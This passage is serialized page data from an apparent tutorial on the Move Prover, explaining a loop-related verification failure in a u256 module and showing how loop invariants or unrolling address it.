reassigned\n",{"type":21,"tag":198,"props":11496,"children":11497},{"class":200,"line":468},[11498,11503,11507],{"type":21,"tag":198,"props":11499,"children":11500},{"style":698},[11501],{"type":27,"value":11502}," carry",{"type":21,"tag":198,"props":11504,"children":11505},{"style":205},[11506],{"type":27,"value":979},{"type":21,"tag":198,"props":11508,"children":11509},{"style":2540},[11510],{"type":27,"value":11511}," 54\n",{"type":21,"tag":198,"props":11513,"children":11514},{"class":200,"line":477},[11515,11520,11524],{"type":21,"tag":198,"props":11516,"children":11517},{"style":698},[11518],{"type":27,"value":11519}," i",{"type":21,"tag":198,"props":11521,"children":11522},{"style":205},[11523],{"type":27,"value":979},{"type":21,"tag":198,"props":11525,"children":11526},{"style":2540},[11527],{"type":27,"value":11528}," 3792\n",{"type":21,"tag":198,"props":11530,"children":11531},{"class":200,"line":494},[11532,11537,11541,11546,11550,11555,11560,11564,11569,11574,11578,11583,11588,11592,11597],{"type":21,"tag":198,"props":11533,"children":11534},{"style":698},[11535],{"type":27,"value":11536}," ret",{"type":21,"tag":198,"props":11538,"children":11539},{"style":205},[11540],{"type":27,"value":979},{"type":21,"tag":198,"props":11542,"children":11543},{"style":205},[11544],{"type":27,"value":11545}," u256.U256{v0",{"type":21,"tag":198,"props":11547,"children":11548},{"style":205},[11549],{"type":27,"value":979},{"type":21,"tag":198,"props":11551,"children":11552},{"style":205},[11553],{"type":27,"value":11554}," 26418,",{"type":21,"tag":198,"props":11556,"children":11557},{"style":205},[11558],{"type":27,"value":11559}," v1",{"type":21,"tag":198,"props":11561,"children":11562},{"style":205},[11563],{"type":27,"value":979},{"type":21,"tag":198,"props":11565,"children":11566},{"style":205},[11567],{"type":27,"value":11568}," 27938,",{"type":21,"tag":198,"props":11570,"children":11571},{"style":205},[11572],{"type":27,"value":11573}," v2",{"type":21,"tag":198,"props":11575,"children":11576},{"style":205},[11577],{"type":27,"value":979},{"type":21,"tag":198,"props":11579,"children":11580},{"style":205},[11581],{"type":27,"value":11582}," 6900,",{"type":21,"tag":198,"props":11584,"children":11585},{"style":205},[11586],{"type":27,"value":11587}," v3",{"type":21,"tag":198,"props":11589,"children":11590},{"style":205},[11591],{"type":27,"value":979},{"type":21,"tag":198,"props":11593,"children":11594},{"style":2540},[11595],{"type":27,"value":11596}," 1999",{"type":21,"tag":198,"props":11598,"children":11599},{"style":205},[11600],{"type":27,"value":1120},{"type":21,"tag":198,"props":11602,"children":11603},{"class":200,"line":515},[11604,11608,11613],{"type":21,"tag":198,"props":11605,"children":11606},{"style":698},[11607],{"type":27,"value":11423},{"type":21,"tag":198,"props":11609,"children":11610},{"style":205},[11611],{"type":27,"value":11612}," ./sources/u256.move:346:",{"type":21,"tag":198,"props":11614,"children":11615},{"style":205},[11616],{"type":27,"value":11433},{"type":21,"tag":198,"props":11618,"children":11619},{"class":200,"line":4484},[11620],{"type":21,"tag":198,"props":11621,"children":11622},{"style":698},[11623],{"type":27,"value":11624}," ABORTED\n",{"type":21,"tag":198,"props":11626,"children":11627},{"class":200,"line":4493},[11628],{"type":21,"tag":198,"props":11629,"children":11630},{"emptyLinePlaceholder":16},[11631],{"type":27,"value":1283},{"type":21,"tag":198,"props":11633,"children":11634},{"class":200,"line":4561},[11635,11640,11645,11649,11654,11659,11664,11668,11673,11677],{"type":21,"tag":198,"props":11636,"children":11637},{"style":698},[11638],{"type":27,"value":11639},"FAILURE",{"type":21,"tag":198,"props":11641,"children":11642},{"style":205},[11643],{"type":27,"value":11644}," proving",{"type":21,"tag":198,"props":11646,"children":11647},{"style":2540},[11648],{"type":27,"value":5335},{"type":21,"tag":198,"props":11650,"children":11651},{"style":205},[11652],{"type":27,"value":11653}," modules",{"type":21,"tag":198,"props":11655,"children":11656},{"style":205},[11657],{"type":27,"value":11658}," from",{"type":21,"tag":198,"props":11660,"children":11661},{"style":205},[11662],{"type":27,"value":11663}," package",{"type":21,"tag":198,"props":11665,"children":11666},{"style":205},[11667],{"type":27,"value":11182},{"type":21,"tag":198,"props":11669,"children":11670},{"style":698},[11671],{"type":27,"value":11672},"u256",{"type":21,"tag":198,"props":11674,"children":11675},{"style":205},[11676],{"type":27,"value":11191},{"type":21,"tag":198,"props":11678,"children":11679},{"style":211},[11680],{"type":27,"value":11681}," in 9.143s\n",{"type":21,"tag":198,"props":11683,"children":11684},{"class":200,"line":4569},[11685],{"type":21,"tag":198,"props":11686,"children":11687},{"style":211},[11688],{"type":27,"value":11689},"{\n",{"type":21,"tag":198,"props":11691,"children":11692},{"class":200,"line":4599},[11693,11698,11702],{"type":21,"tag":198,"props":11694,"children":11695},{"style":698},[11696],{"type":27,"value":11697}," \"Error\"",{"type":21,"tag":198,"props":11699,"children":11700},{"style":698},[11701],{"type":27,"value":185},{"type":21,"tag":198,"props":11703,"children":11704},{"style":205},[11705],{"type":27,"value":11706}," \"Move Prover failed: exiting with verification errors\"\n",{"type":21,"tag":198,"props":11708,"children":11709},{"class":200,"line":4607},[11710],{"type":21,"tag":198,"props":11711,"children":11712},{"style":211},[11713],{"type":27,"value":1120},{"type":21,"tag":30,"props":11715,"children":11716},{},[11717,11719,11724],{"type":27,"value":11718},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":21,"tag":194,"props":11720,"children":11722},{"className":11721},[],[11723],{"type":27,"value":9135},{"type":27,"value":11725}," clauses. But there is no other abort situation that we have to cover, right?",{"type":21,"tag":30,"props":11727,"children":11728},{},[11729,11731,11737],{"type":27,"value":11730},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":21,"tag":194,"props":11732,"children":11734},{"className":11733},[],[11735],{"type":27,"value":11736},"ret havocked and reassigned",{"type":27,"value":658},{"type":21,"tag":30,"props":11739,"children":11740},{},[11741],{"type":27,"value":11742},"What does this mean?",{"type":21,"tag":30,"props":11744,"children":11745},{},[11746,11748,11755],{"type":27,"value":11747},"By diving into the Move Prover source, we find a ",{"type":21,"tag":34,"props":11749,"children":11752},{"href":11750,"rel":11751},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[38],[11753],{"type":27,"value":11754},"likely suspect",{"type":27,"value":11756},". The prover attempts to prove all loops with induction!",{"type":21,"tag":30,"props":11758,"children":11759},{},[11760],{"type":27,"value":11761},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":21,"tag":71,"props":11763,"children":11764},{},[11765,11770],{"type":21,"tag":75,"props":11766,"children":11767},{},[11768],{"type":27,"value":11769},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":21,"tag":75,"props":11771,"children":11772},{},[11773],{"type":27,"value":11774},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":21,"tag":30,"props":11776,"children":11777},{},[11778,11780,11785,11787,11793,11794,11800,11802,11807,11809,11814],{"type":27,"value":11779},"The loop prover will also ",{"type":21,"tag":6137,"props":11781,"children":11782},{},[11783],{"type":27,"value":11784},"havoc, or assign random values to, all variables written to inside the loop",{"type":27,"value":11786},". Going back to the log message, this implies that the variables ",{"type":21,"tag":194,"props":11788,"children":11790},{"className":11789},[],[11791],{"type":27,"value":11792},"carry",{"type":27,"value":828},{"type":21,"tag":194,"props":11795,"children":11797},{"className":11796},[],[11798],{"type":27,"value":11799},"ret",{"type":27,"value":11801}," and ",{"type":21,"tag":194,"props":11803,"children":11805},{"className":11804},[],[11806],{"type":27,"value":4544},{"type":27,"value":11808}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":21,"tag":194,"props":11810,"children":11812},{"className":11811},[],[11813],{"type":27,"value":10448},{"type":27,"value":11815}," makes no sense.",{"type":21,"tag":30,"props":11817,"children":11818},{},[11819],{"type":27,"value":11820},"More concretely, the loop analysis translates into the following steps.",{"type":21,"tag":71,"props":11822,"children":11823},{},[11824,11829,11834,11839,11844,11849],{"type":21,"tag":75,"props":11825,"children":11826},{},[11827],{"type":27,"value":11828},"Assert the loop invariant",{"type":21,"tag":75,"props":11830,"children":11831},{},[11832],{"type":27,"value":11833},"Havoc all modified variables",{"type":21,"tag":75,"props":11835,"children":11836},{},[11837],{"type":27,"value":11838},"Assume the loop invariant",{"type":21,"tag":75,"props":11840,"children":11841},{},[11842],{"type":27,"value":11843},"Assume the loop guard (the code inside the while condition)",{"type":21,"tag":75,"props":11845,"children":11846},{},[11847],{"type":27,"value":11848},"Run the loop body",{"type":21,"tag":75,"props":11850,"children":11851},{},[11852],{"type":27,"value":11828},{"type":21,"tag":30,"props":11854,"children":11855},{},[11856],{"type":27,"value":11857},"There are two approaches to dealing with loops.",{"type":21,"tag":30,"props":11859,"children":11860},{},[11861],{"type":27,"value":11862},"The first would be to specify a loop invariant.",{"type":21,"tag":30,"props":11864,"children":11865},{},[11866,11868,11875],{"type":27,"value":11867},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":21,"tag":34,"props":11869,"children":11872},{"href":11870,"rel":11871},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[38],[11873],{"type":27,"value":11874},"previous post",{"type":27,"value":658},{"type":21,"tag":187,"props":11877,"children":11879},{"code":11878,"language":3788,"meta":7,"className":3789,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[11880],{"type":21,"tag":194,"props":11881,"children":11882},{"__ignoreMap":7},[11883,11895,11906,11942,11965,12048,12055,12079,12087,12107,12127,12218,12225,12253],{"type":21,"tag":198,"props":11884,"children":11885},{"class":200,"line":201},[11886,11891],{"type":21,"tag":198,"props":11887,"children":11888},{"style":640},[11889],{"type":27,"value":11890}," while",{"type":21,"tag":198,"props":11892,"children":11893},{"style":211},[11894],{"type":27,"value":9343},{"type":21,"tag":198,"props":11896,"children":11897},{"class":200,"line":217},[11898,11902],{"type":21,"tag":198,"props":11899,"children":11900},{"style":226},[11901],{"type":27,"value":9738},{"type":21,"tag":198,"props":11903,"children":11904},{"style":211},[11905],{"type":27,"value":233},{"type":21,"tag":198,"props":11907,"children":11908},{"class":200,"line":236},[11909,11914,11918,11922,11926,11930,11934,11938],{"type":21,"tag":198,"props":11910,"children":11911},{"style":226},[11912],{"type":27,"value":11913}," invariant",{"type":21,"tag":198,"props":11915,"children":11916},{"style":698},[11917],{"type":27,"value":9368},{"type":21,"tag":198,"props":11919,"children":11920},{"style":211},[11921],{"type":27,"value":706},{"type":21,"tag":198,"props":11923,"children":11924},{"style":226},[11925],{"type":27,"value":9377},{"type":21,"tag":198,"props":11927,"children":11928},{"style":211},[11929],{"type":27,"value":1541},{"type":21,"tag":198,"props":11931,"children":11932},{"style":683},[11933],{"type":27,"value":9386},{"type":21,"tag":198,"props":11935,"children":11936},{"style":226},[11937],{"type":27,"value":4203},{"type":21,"tag":198,"props":11939,"children":11940},{"style":211},[11941],{"type":27,"value":1483},{"type":21,"tag":198,"props":11943,"children":11944},{"class":200,"line":260},[11945,11949,11953,11957,11961],{"type":21,"tag":198,"props":11946,"children":11947},{"style":226},[11948],{"type":27,"value":11913},{"type":21,"tag":198,"props":11950,"children":11951},{"style":226},[11952],{"type":27,"value":4203},{"type":21,"tag":198,"props":11954,"children":11955},{"style":683},[11956],{"type":27,"value":9007},{"type":21,"tag":198,"props":11958,"children":11959},{"style":226},[11960],{"type":27,"value":9297},{"type":21,"tag":198,"props":11962,"children":11963},{"style":211},[11964],{"type":27,"value":1483},{"type":21,"tag":198,"props":11966,"children":11967},{"class":200,"line":281},[11968,11972,11976,11980,11984,11988,11992,11996,12000,12004,12008,12012,12016,12020,12024,12028,12032,12036,12040,12044],{"type":21,"tag":198,"props":11969,"children":11970},{"style":226},[11971],{"type":27,"value":11913},{"type":21,"tag":198,"props":11973,"children":11974},{"style":226},[11975],{"type":27,"value":9429},{"type":21,"tag":198,"props":11977,"children":11978},{"style":226},[11979],{"type":27,"value":9434},{"type":21,"tag":198,"props":11981,"children":11982},{"style":249},[11983],{"type":27,"value":3850},{"type":21,"tag":198,"props":11985,"children":11986},{"style":2540},[11987],{"type":27,"value":3855},{"type":21,"tag":198,"props":11989,"children":11990},{"style":683},[11991],{"type":27,"value":3860},{"type":21,"tag":198,"props":11993,"children":11994},{"style":226},[11995],{"type":27,"value":4544},{"type":21,"tag":198,"props":11997,"children":11998},{"style":683},[11999],{"type":27,"value":185},{"type":21,"tag":198,"props":12001,"children":12002},{"style":226},[12003],{"type":27,"value":9232},{"type":21,"tag":198,"props":12005,"children":12006},{"style":211},[12007],{"type":27,"value":2051},{"type":21,"tag":198,"props":12009,"children":12010},{"style":226},[12011],{"type":27,"value":9467},{"type":21,"tag":198,"props":12013,"children":12014},{"style":211},[12015],{"type":27,"value":9472},{"type":21,"tag":198,"props":12017,"children":12018},{"style":683},[12019],{"type":27,"value":9386},{"type":21,"tag":198,"props":12021,"children":12022},{"style":226},[12023],{"type":27,"value":9481},{"type":21,"tag":198,"props":12025,"children":12026},{"style":211},[12027],{"type":27,"value":2051},{"type":21,"tag":198,"props":12029,"children":12030},{"style":226},[12031],{"type":27,"value":9467},{"type":21,"tag":198,"props":12033,"children":12034},{"style":211},[12035],{"type":27,"value":9472},{"type":21,"tag":198,"props":12037,"children":12038},{"style":683},[12039],{"type":27,"value":5383},{"type":21,"tag":198,"props":12041,"children":12042},{"style":226},[12043],{"type":27,"value":9297},{"type":21,"tag":198,"props":12045,"children":12046},{"style":211},[12047],{"type":27,"value":1483},{"type":21,"tag":198,"props":12049,"children":12050},{"class":200,"line":302},[12051],{"type":21,"tag":198,"props":12052,"children":12053},{"style":211},[12054],{"type":27,"value":9730},{"type":21,"tag":198,"props":12056,"children":12057},{"class":200,"line":323},[12058,12063,12067,12071,12075],{"type":21,"tag":198,"props":12059,"children":12060},{"style":211},[12061],{"type":27,"value":12062}," (",{"type":21,"tag":198,"props":12064,"children":12065},{"style":226},[12066],{"type":27,"value":4544},{"type":21,"tag":198,"props":12068,"children":12069},{"style":683},[12070],{"type":27,"value":9529},{"type":21,"tag":198,"props":12072,"children":12073},{"style":226},[12074],{"type":27,"value":9297},{"type":21,"tag":198,"props":12076,"children":12077},{"style":211},[12078],{"type":27,"value":789},{"type":21,"tag":198,"props":12080,"children":12081},{"class":200,"line":344},[12082],{"type":21,"tag":198,"props":12083,"children":12084},{"style":211},[12085],{"type":27,"value":12086}," }) {\n",{"type":21,"tag":198,"props":12088,"children":12089},{"class":200,"line":365},[12090,12095,12099,12103],{"type":21,"tag":198,"props":12091,"children":12092},{"style":211},[12093],{"type":27,"value":12094}," vector",{"type":21,"tag":198,"props":12096,"children":12097},{"style":683},[12098],{"type":27,"value":4286},{"type":21,"tag":198,"props":12100,"children":12101},{"style":698},[12102],{"type":27,"value":9562},{"type":21,"tag":198,"props":12104,"children":12105},{"style":211},[12106],{"type":27,"value":4268},{"type":21,"tag":198,"props":12108,"children":12109},{"class":200,"line":386},[12110,12115,12119,12123],{"type":21,"tag":198,"props":12111,"children":12112},{"style":683},[12113],{"type":27,"value":12114}," &",{"type":21,"tag":198,"props":12116,"children":12117},{"style":249},[12118],{"type":27,"value":4530},{"type":21,"tag":198,"props":12120,"children":12121},{"style":226},[12122],{"type":27,"value":9232},{"type":21,"tag":198,"props":12124,"children":12125},{"style":211},[12126],{"type":27,"value":257},{"type":21,"tag":198,"props":12128,"children":12129},{"class":200,"line":408},[12130,12134,12138,12142,12146,12150,12154,12158,12162,12166,12170,12174,12178,12182,12186,12190,12194,12198,12202,12206,12210,12214],{"type":21,"tag":198,"props":12131,"children":12132},{"style":211},[12133],{"type":27,"value":9520},{"type":21,"tag":198,"props":12135,"children":12136},{"style":683},[12137],{"type":27,"value":5383},{"type":21,"tag":198,"props":12139,"children":12140},{"style":211},[12141],{"type":27,"value":9603},{"type":21,"tag":198,"props":12143,"children":12144},{"style":683},[12145],{"type":27,"value":4286},{"type":21,"tag":198,"props":12147,"children":12148},{"style":698},[12149],{"type":27,"value":9612},{"type":21,"tag":198,"props":12151,"children":12152},{"style":211},[12153],{"type":27,"value":706},{"type":21,"tag":198,"props":12155,"children":12156},{"style":683},[12157],{"type":27,"value":3917},{"type":21,"tag":198,"props":12159,"children":12160},{"style":226},[12161],{"type":27,"value":9177},{"type":21,"tag":198,"props":12163,"children":12164},{"style":211},[12165],{"type":27,"value":9629},{"type":21,"tag":198,"props":12167,"children":12168},{"style":226},[12169],{"type":27,"value":4544},{"type":21,"tag":198,"props":12171,"children":12172},{"style":249},[12173],{"type":27,"value":9638},{"type":21,"tag":198,"props":12175,"children":12176},{"style":1966},[12177],{"type":27,"value":6673},{"type":21,"tag":198,"props":12179,"children":12180},{"style":211},[12181],{"type":27,"value":9647},{"type":21,"tag":198,"props":12183,"children":12184},{"style":249},[12185],{"type":27,"value":9652},{"type":21,"tag":198,"props":12187,"children":12188},{"style":1966},[12189],{"type":27,"value":9657},{"type":21,"tag":198,"props":12191,"children":12192},{"style":211},[12193],{"type":27,"value":1541},{"type":21,"tag":198,"props":12195,"children":12196},{"style":683},[12197],{"type":27,"value":5383},{"type":21,"tag":198,"props":12199,"children":12200},{"style":211},[12201],{"type":27,"value":648},{"type":21,"tag":198,"props":12203,"children":12204},{"style":226},[12205],{"type":27,"value":9674},{"type":21,"tag":198,"props":12207,"children":12208},{"style":249},[12209],{"type":27,"value":9638},{"type":21,"tag":198,"props":12211,"children":12212},{"style":1966},[12213],{"type":27,"value":9657},{"type":21,"tag":198,"props":12215,"children":12216},{"style":211},[12217],{"type":27,"value":789},{"type":21,"tag":198,"props":12219,"children":12220},{"class":200,"line":429},[12221],{"type":21,"tag":198,"props":12222,"children":12223},{"style":211},[12224],{"type":27,"value":7578},{"type":21,"tag":198,"props":12226,"children":12227},{"class":200,"line":450},[12228,12233,12237,12241,12245,12249],{"type":21,"tag":198,"props":12229,"children":12230},{"style":226},[12231],{"type":27,"value":12232}," i",{"type":21,"tag":198,"props":12234,"children":12235},{"style":683},[12236],{"type":27,"value":979},{"type":21,"tag":198,"props":12238,"children":12239},{"style":226},[12240],{"type":27,"value":4203},{"type":21,"tag":198,"props":12242,"children":12243},{"style":683},[12244],{"type":27,"value":1440},{"type":21,"tag":198,"props":12246,"children":12247},{"style":2540},[12248],{"type":27,"value":5335},{"type":21,"tag":198,"props":12250,"children":12251},{"style":211},[12252],{"type":27,"value":1483},{"type":21,"tag":198,"props":12254,"children":12255},{"class":200,"line":468},[12256],{"type":21,"tag":198,"props":12257,"children":12258},{"style":211},[12259],{"type":27,"value":12260}," };\n",{"type":21,"tag":30,"props":12262,"children":12263},{},[12264,12266,12272,12274,12279,12281,12287],{"type":27,"value":12265},"In this case, the brackets specify the loop invariant for the ",{"type":21,"tag":194,"props":12267,"children":12269},{"className":12268},[],[12270],{"type":27,"value":12271},"while",{"type":27,"value":12273}," loop. Note that because the loop invariant executes ",{"type":21,"tag":1671,"props":12275,"children":12276},{},[12277],{"type":27,"value":12278},"after",{"type":27,"value":12280}," the loop guard, so we need to account for an extra step with ",{"type":21,"tag":194,"props":12282,"children":12284},{"className":12283},[],[12285],{"type":27,"value":12286},"i \u003C= n_coins",{"type":27,"value":658},{"type":21,"tag":187,"props":12289,"children":12291},{"code":12290,"language":3788,"meta":7,"className":3789,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[12292],{"type":21,"tag":194,"props":12293,"children":12294},{"__ignoreMap":7},[12295,12306,12317,12352,12375,12458,12465,12488],{"type":21,"tag":198,"props":12296,"children":12297},{"class":200,"line":201},[12298,12302],{"type":21,"tag":198,"props":12299,"children":12300},{"style":640},[12301],{"type":27,"value":11890},{"type":21,"tag":198,"props":12303,"children":12304},{"style":211},[12305],{"type":27,"value":9343},{"type":21,"tag":198,"props":12307,"children":12308},{"class":200,"line":217},[12309,12313],{"type":21,"tag":198,"props":12310,"children":12311},{"style":226},[12312],{"type":27,"value":9738},{"type":21,"tag":198,"props":12314,"children":12315},{"style":211},[12316],{"type":27,"value":233},{"type":21,"tag":198,"props":12318,"children":12319},{"class":200,"line":236},[12320,12324,12328,12332,12336,12340,12344,12348],{"type":21,"tag":198,"props":12321,"children":12322},{"style":226},[12323],{"type":27,"value":11913},{"type":21,"tag":198,"props":12325,"children":12326},{"style":698},[12327],{"type":27,"value":9368},{"type":21,"tag":198,"props":12329,"children":12330},{"style":211},[12331],{"type":27,"value":706},{"type":21,"tag":198,"props":12333,"children":12334},{"style":226},[12335],{"type":27,"value":9377},{"type":21,"tag":198,"props":12337,"children":12338},{"style":211},[12339],{"type":27,"value":1541},{"type":21,"tag":198,"props":12341,"children":12342},{"style":683},[12343],{"type":27,"value":9386},{"type":21,"tag":198,"props":12345,"children":12346},{"style":226},[12347],{"type":27,"value":4203},{"type":21,"tag":198,"props":12349,"children":12350},{"style":211},[12351],{"type":27,"value":1483},{"type":21,"tag":198,"props":12353,"children":12354},{"class":200,"line":260},[12355,12359,12363,12367,12371],{"type":21,"tag":198,"props":12356,"children":12357},{"style":226},[12358],{"type":27,"value":11913},{"type":21,"tag":198,"props":12360,"children":12361},{"style":226},[12362],{"type":27,"value":4203},{"type":21,"tag":198,"props":12364,"children":12365},{"style":683},[12366],{"type":27,"value":9007},{"type":21,"tag":198,"props":12368,"children":12369},{"style":226},[12370],{"type":27,"value":9297},{"type":21,"tag":198,"props":12372,"children":12373},{"style":211},[12374],{"type":27,"value":1483},{"type":21,"tag":198,"props":12376,"children":12377},{"class":200,"line":281},[12378,12382,12386,12390,12394,12398,12402,12406,12410,12414,12418,12422,12426,12430,12434,12438,12442,12446,12450,12454],{"type":21,"tag":198,"props":12379,"children":12380},{"style":226},[12381],{"type":27,"value":11913},{"type":21,"tag":198,"props":12383,"children":12384},{"style":226},[12385],{"type":27,"value":9429},{"type":21,"tag":198,"props":12387,"children":12388},{"style":226},[12389],{"type":27,"value":9434},{"type":21,"tag":198,"props":12391,"children":12392},{"style":249},[12393],{"type":27,"value":3850},{"type":21,"tag":198,"props":12395,"children":12396},{"style":2540},[12397],{"type":27,"value":3855},{"type":21,"tag":198,"props":12399,"children":12400},{"style":683},[12401],{"type":27,"value":3860},{"type":21,"tag":198,"props":12403,"children":12404},{"style":226},[12405],{"type":27,"value":4544},{"type":21,"tag":198,"props":12407,"children":12408},{"style":683},[12409],{"type":27,"value":185},{"type":21,"tag":198,"props":12411,"children":12412},{"style":226},[12413],{"type":27,"value":9232},{"type":21,"tag":198,"props":12415,"children":12416},{"style":211},[12417],{"type":27,"value":2051},{"type":21,"tag":198,"props":12419,"children":12420},{"style":226},[12421],{"type":27,"value":9467},{"type":21,"tag":198,"props":12423,"children":12424},{"style":211},[12425],{"type":27,"value":9472},{"type":21,"tag":198,"props":12427,"children":12428},{"style":683},[12429],{"type":27,"value":9386},{"type":21,"tag":198,"props":12431,"children":12432},{"style":226},[12433],{"type":27,"value":9481},{"type":21,"tag":198,"props":12435,"children":12436},{"style":211},[12437],{"type":27,"value":2051},{"type":21,"tag":198,"props":12439,"children":12440},{"style":226},[12441],{"type":27,"value":9467},{"type":21,"tag":198,"props":12443,"children":12444},{"style":211},[12445],{"type":27,"value":9472},{"type":21,"tag":198,"props":12447,"children":12448},{"style":683},[12449],{"type":27,"value":5383},{"type":21,"tag":198,"props":12451,"children":12452},{"style":226},[12453],{"type":27,"value":9297},{"type":21,"tag":198,"props":12455,"children":12456},{"style":211},[12457],{"type":27,"value":1483},{"type":21,"tag":198,"props":12459,"children":12460},{"class":200,"line":302},[12461],{"type":21,"tag":198,"props":12462,"children":12463},{"style":211},[12464],{"type":27,"value":9730},{"type":21,"tag":198,"props":12466,"children":12467},{"class":200,"line":323},[12468,12472,12476,12480,12484],{"type":21,"tag":198,"props":12469,"children":12470},{"style":211},[12471],{"type":27,"value":12062},{"type":21,"tag":198,"props":12473,"children":12474},{"style":226},[12475],{"type":27,"value":4544},{"type":21,"tag":198,"props":12477,"children":12478},{"style":683},[12479],{"type":27,"value":9529},{"type":21,"tag":198,"props":12481,"children":12482},{"style":226},[12483],{"type":27,"value":9297},{"type":21,"tag":198,"props":12485,"children":12486},{"style":211},[12487],{"type":27,"value":789},{"type":21,"tag":198,"props":12489,"children":12490},{"class":200,"line":344},[12491],{"type":21,"tag":198,"props":12492,"children":12493},{"style":211},[12494],{"type":27,"value":12086},{"type":21,"tag":30,"props":12496,"children":12497},{},[12498],{"type":27,"value":12499},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":21,"tag":30,"props":12501,"children":12502},{},[12503,12505,12510],{"type":27,"value":12504},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":21,"tag":194,"props":12506,"children":12508},{"className":12507},[],[12509],{"type":27,"value":10448},{"type":27,"value":12511}," function will always iterate exactly 4 times:",{"type":21,"tag":187,"props":12513,"children":12515},{"code":12514,"language":3788,"meta":7,"className":3789,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[12516],{"type":21,"tag":194,"props":12517,"children":12518},{"__ignoreMap":7},[12519,12527,12560,12567,12583,12590,12614,12638,12683,12727,12734],{"type":21,"tag":198,"props":12520,"children":12521},{"class":200,"line":201},[12522],{"type":21,"tag":198,"props":12523,"children":12524},{"style":1233},[12525],{"type":27,"value":12526},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":21,"tag":198,"props":12528,"children":12529},{"class":200,"line":217},[12530,12534,12539,12543,12547,12551,12556],{"type":21,"tag":198,"props":12531,"children":12532},{"style":249},[12533],{"type":27,"value":2648},{"type":21,"tag":198,"props":12535,"children":12536},{"style":211},[12537],{"type":27,"value":12538}," WORDS",{"type":21,"tag":198,"props":12540,"children":12541},{"style":683},[12542],{"type":27,"value":185},{"type":21,"tag":198,"props":12544,"children":12545},{"style":1966},[12546],{"type":27,"value":6673},{"type":21,"tag":198,"props":12548,"children":12549},{"style":683},[12550],{"type":27,"value":979},{"type":21,"tag":198,"props":12552,"children":12553},{"style":2540},[12554],{"type":27,"value":12555}," 4",{"type":21,"tag":198,"props":12557,"children":12558},{"style":211},[12559],{"type":27,"value":1483},{"type":21,"tag":198,"props":12561,"children":12562},{"class":200,"line":236},[12563],{"type":21,"tag":198,"props":12564,"children":12565},{"emptyLinePlaceholder":16},[12566],{"type":27,"value":1283},{"type":21,"tag":198,"props":12568,"children":12569},{"class":200,"line":260},[12570,12574,12578],{"type":21,"tag":198,"props":12571,"children":12572},{"style":211},[12573],{"type":27,"value":2051},{"type":21,"tag":198,"props":12575,"children":12576},{"style":683},[12577],{"type":27,"value":10402},{"type":21,"tag":198,"props":12579,"children":12580},{"style":211},[12581],{"type":27,"value":12582},"]\n",{"type":21,"tag":198,"props":12584,"children":12585},{"class":200,"line":281},[12586],{"type":21,"tag":198,"props":12587,"children":12588},{"emptyLinePlaceholder":16},[12589],{"type":27,"value":1283},{"type":21,"tag":198,"props":12591,"children":12592},{"class":200,"line":302},[12593,12598,12602,12606,12610],{"type":21,"tag":198,"props":12594,"children":12595},{"style":249},[12596],{"type":27,"value":12597},"let",{"type":21,"tag":198,"props":12599,"children":12600},{"style":226},[12601],{"type":27,"value":4203},{"type":21,"tag":198,"props":12603,"children":12604},{"style":683},[12605],{"type":27,"value":979},{"type":21,"tag":198,"props":12607,"children":12608},{"style":2540},[12609],{"type":27,"value":3855},{"type":21,"tag":198,"props":12611,"children":12612},{"style":211},[12613],{"type":27,"value":1483},{"type":21,"tag":198,"props":12615,"children":12616},{"class":200,"line":323},[12617,12621,12625,12629,12633],{"type":21,"tag":198,"props":12618,"children":12619},{"style":640},[12620],{"type":27,"value":12271},{"type":21,"tag":198,"props":12622,"children":12623},{"style":211},[12624],{"type":27,"value":648},{"type":21,"tag":198,"props":12626,"children":12627},{"style":226},[12628],{"type":27,"value":4544},{"type":21,"tag":198,"props":12630,"children":12631},{"style":683},[12632],{"type":27,"value":9529},{"type":21,"tag":198,"props":12634,"children":12635},{"style":211},[12636],{"type":27,"value":12637}," WORDS) {\n",{"type":21,"tag":198,"props":12639,"children":12640},{"class":200,"line":344},[12641,12645,12650,12654,12659,12663,12667,12671,12675,12679],{"type":21,"tag":198,"props":12642,"children":12643},{"style":249},[12644],{"type":27,"value":3809},{"type":21,"tag":198,"props":12646,"children":12647},{"style":226},[12648],{"type":27,"value":12649}," a1",{"type":21,"tag":198,"props":12651,"children":12652},{"style":683},[12653],{"type":27,"value":979},{"type":21,"tag":198,"props":12655,"children":12656},{"style":698},[12657],{"type":27,"value":12658}," 